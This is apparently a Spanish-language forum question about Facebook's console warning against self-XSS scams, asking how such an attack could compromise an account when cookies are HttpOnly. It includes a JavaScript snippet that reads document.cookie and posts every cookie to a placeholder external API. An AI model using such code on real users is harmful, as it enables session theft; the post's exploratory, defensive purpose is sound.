Se me ocurrió abrir recientemente la consola de mi navegador en Facebook y me saludó con el siguiente mensaje.
¡Detente!
Esta es una característica del navegador destinada a los desarrolladores. Si alguien le dijo que copiara y pegara algo aquí para habilitar una función de Facebook o "piratear" la cuenta de alguien, es una estafa y le dará acceso a su cuenta de Facebook.
Consulte enlace para obtener más información.
Lo primero que pensé fue que esto era simplemente una matanza excesiva, tal vez con la intención de ahuyentar a los desprevenidos usuarios de Internet que copiarían y pegarían ciegamente un poco de Javascript en la consola con la esperanza de desbloquear un botón secreto de desagrado.
Pero en realidad he estado pensando más en cómo podría comprometer los datos de sesión de los usuarios desde la consola de Javascript.
Pensé en una secuencia de comandos sobre la variable document.cookie
y publicar todos los datos de las cookies en una api. Algo similar al de abajo.
var cookies = document.cookie.split(';');
var xhr = new XMLHttpRequest();
xhr.open("POST", apiUrl, true);
xhr.setRequestHeader('Content-Type', 'application/json');
for(var i=0 ; i < cookies.length ; ++i) {
var pair = cookies[i].trim().split('=');
xhr.send(JSON.stringify({
name: pair[0],
value: pair[1]
}));
}
Pero tengo entendido que agregar la marca http-only
a una cookie significa que no se puede acceder a ella por javascript o por el lado del cliente.
Entonces, ¿cómo podría un atacante hacer que se comprometiera tu cuenta de Facebook solo por auto-xss?